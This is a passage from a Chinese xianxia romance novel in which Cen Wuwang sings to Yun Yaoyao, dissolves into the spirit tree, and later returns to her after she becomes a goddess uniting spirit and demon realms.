灵族的文字已经失传太久,更不要提祭祀时的古老歌谣,三千世界内,仅有他一人还在痴心传唱。 所以他真的顺遂心意,轻轻为云杳窈哼唱起来。 虽是灵族的古语,可内容却是新编。 这是岑无望为云杳窈所写,已经在心底唱过千万遍,可是终究无人倾听。 何其幸运,他今日终于有机会将它完整唱给云杳窈。 究竟是哪一句才配得上这颠沛流离的数千年经历? 岑无望私心希望,这个结局与自己有关,最好是能让她记一辈子。 所以,他唱道。 “日月作绣,衫袂缠风。” “话意有尽,山川为卷。” “水穷天杪,难诉此生。” “春风再顾,曲悦仙缘。” “看遍人间桃李色,却恋年少一枝春。” 岑无望不担心他的吟唱会被东风覆盖,会被世人遗忘,因为云杳窈听到了,所以整个世间都能听到他的声音。 整个世间,本就是为灵君准备的囚笼。 枯萎的灵树化作尘土成为无形棺椁,让她不得不受困于此。 可是灵脉中静流着的是她的血液,奔流不息的河海浪涛千年来一直咆哮着她的愤恨,山火烧不尽她心中不甘,暴雨无法将余烬冲刷毁灭。 天地无恒长,万物生灵都是她的子民,是她的孩子,是她不可分割的血肉。 新生与死亡不断上演,直至她苏醒重新望向命运的那天。 而蕴含着新生的种子,正寄存在与她同生的岑无望身上。 千年前,或许是他们还在灵树里懵懂无知的万年前,他们就共同享用了一颗心脏。 从来没有什么灵果失窃,也没有背叛和争夺。 云杳窈将生命埋藏在岑无望的身体里,借助至亲至爱的身躯,把灵树最后的希望封存在了他的心中。 云杳窈其实早有猜测,可是她无法辜负自己,一旦推翻先前所下禁制,就等同于背叛两人所有的心血。 所以她只是无声落泪,甚至连一句挽留都无法说出口。 爱和愧疚同等深厚,两种激烈的感情撕扯着云杳窈,让她甚至有了不管不顾,永远让时间静止在这一刻的冲动。 世间万物可为她所用,她已经无需仙庭认可,拥有了神格。 如果云杳窈愿意,她可以把此刻变成永恒。 可是岑无望在天地静默中轻轻抚摸着她的泪,问:“雪落了吗?” 下个瞬间,飘雪落在岑无望的手背上,他的身体也随着世间的流动而缓缓上升。 化灵之态无法阻挡,云杳窈与岑无望十指相扣,紧紧相握,生怕他下一刻就要消散。 岑无望吻去她眼角的泪水,温声细语。 “我的存在,本就是要替你拭去一生的苦与泪,所以不要哭泣。” “我即将与灵树相融,重新成为稚嫩新芽,回到最初与你相遇的地方,回到我们共同的母亲那里。” “逝去的草木会成为大地的养料,流亡的孩子也会回到故土。” “这次换你来等等我吧,来记清楚每一个辗转反侧的夜,来咽下每一次相思的苦。” 云杳窈声音嘶哑,仍不肯放手。她想要问仙求神,却求助无门。 天道在上,为何不能垂怜她与岑无望? 为何总要独留她一人面对漫天风雪? 云杳窈睁大眼睛,强忍着颤抖。 “岑无望,你会恨我吗?” 岑无望与大道本就不是权衡的两端,云杳窈无法割舍任何一方。 可是到了最后,她仍绝望发现,正是他们之间毫无保留的信任与纯粹的爱一次次杀死了彼此。 如此奋不顾身,又如此鲁莽愚蠢,以至于连她自己都要防着自己。 手中灵体如沙一般流走,岑无望的声音最后响起。 “杳窈,不要以恨来曲解爱。” 云杳窈循着余音奔月追寻,却茫然发现天地间,竟再无他踪迹。 魔不会消失,它本就诞生于腐败的灵树枝叶中。 此间诞生的第一个神明,在历经了数千年的求索后,终于找到了灵气与魔气共存的办法。 以新生灵树为媒介,此间万物皆受灵树庇佑。 从此,生而为魔的修者也有了归处,也有了能够行走于世间的资格。那些被魔气感染的灵魂,会再度奔向南荒,直至岁月抚平他们的恶意,轮回洗净他们的孽债,引领他们走向一条与普通修者共存共和的道路。 世间的争斗或许还会上演,可碰撞与交融也不会停止。 两岸的神女像共同供奉着一个人,对她的尊称因地域而不同。 在北境,她是神女,是灵君,也是云仙子。 在南荒,她是魔神,是母神,也是赋生君。 这些千奇百怪的称呼都有一个共同的名字——云杳 窈。 神殿的岁月恒常,时间的流逝似乎在此停滞。 这种不偏不倚的公正总带着些冷漠,所以偶尔,云杳窈会化作尘间人,从神殿到人间看一看。 每年春日,云杳窈都要折去灵树的一片新叶,存放在神殿内,待叶片枯萎,便又是一年春日降临。 她年复一年重归旧土,偶尔能听见些新鲜故事,幸而关于她的歌谣仍在传唱。 神不见本相,连止戈都看不见云杳窈了,所以她到这里,便能享受难得的清闲时光。 树影婆娑,风过有痕,寂寞无声。 云杳窈坐在树上,指尖流连过无数枝叶,想要精心挑选一片今年的春色。 突然,她听见一个熟悉的声音在身旁响起。 “这片好看,我帮你摘下来。” 骨节修长,肌色玉耀的手越过云杳窈的手,精准掐断叶柄,两指夹着往回送,示意她赶紧接下好意。 云杳窈不敢立刻回头,怕这只是灵树为她编造的一场梦境。 她稳住心神,可话说出口,还是带着隐秘的期待。 “哪里来的小贼?” 岑无望温热的呼吸近在咫尺,他倒是悠然闲适,连说话都比云杳窈轻松自如许多。 “才相逢,便要污蔑我的一片真情,我也是会伤心的。” 只不过,他话音刚落,便在坐下时踩到自己的袍角,差点没从树上摔下去。 云杳窈眼疾手快,紧紧拉住他的手腕,却见他眼底狡黠,故意趁此机会倒在她身上。 “好久不见。”岑无望感叹。 仿佛平生的苦痛都就此别过。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m